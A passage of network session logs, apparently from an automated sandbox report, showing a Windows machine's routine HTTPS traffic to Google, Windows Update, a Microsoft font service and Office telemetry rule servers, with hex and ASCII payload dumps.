_.Nd(_.Jd?_.Jd.emptyHTML:\"\");\n}catch(e){_._DumpException(e)}\ntry{\nvar Sd,fe,Rd,Td,Yd;_.Pd\u003dfunction(a){retur
2024-11-26 09:09:09 UTC	1390	IN	Data Raw: 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 75 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 64 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 51 64 28 5f 2e 4a 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f Data Ascii: a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.ce\u003dfunction(a,b,c){return _.ub(a,b,c,!1)!\u003d\u003dvoid 0};_.de\u003dfunction(a,b){return _.Qd(_.Jc(a,b))};_.S\u003dfunction(a,b){return _

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49718	142.250.181.68	443	2300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:08 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 09:09:09 UTC	933	IN	HTTP/1.1 200 OK Version: 698674578 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 26 Nov 2024 09:09:09 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-26 09:09:09 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-26 09:09:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49727	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:12 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=DA7lFO3zLn22lMe&MD=5fBfWx8m HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-26 09:09:13 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 6ef8522f-4ec4-4aeb-8431-3f5eea85496e MS-RequestId: f385d5bd-641a-4a02-9a35-6fca2c03b037 MS-CV: 1jyWeBvL2E6okWYj.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 26 Nov 2024 09:09:12 GMT Connection: close Content-Length: 24490
2024-11-26 09:09:13 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-26 09:09:13 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49730	69.192.160.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:13 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-26 09:09:13 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=234682 Date: Tue, 26 Nov 2024 09:09:13 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49739	69.192.160.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:15 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-26 09:09:15 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=234699 Date: Tue, 26 Nov 2024 09:09:15 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-26 09:09:15 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:17 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:18 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:17 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 25 Nov 2024 13:17:46 GMT ETag: "0x8DD0D538D5EA1E0" x-ms-request-id: f5f75198-101e-00a2-8091-3f9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090917Z-174f7845968glpgnhC1EWR7uec0000000vc00000000056m5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:18 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-26 09:09:18 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-26 09:09:18 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-26 09:09:18 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-26 09:09:18 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-26 09:09:18 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-26 09:09:18 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-26 09:09:18 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-26 09:09:18 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-26 09:09:18 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:21 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:21 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: dc0e4179-901e-005b-2991-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090921Z-174f7845968kdththC1EWRzvxn00000007g000000000836q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:21 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:21 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:21 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:21 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0b3277ea-501e-00a0-5e91-3f9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090921Z-174f78459688l8rvhC1EWRtzr000000007w000000000234e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
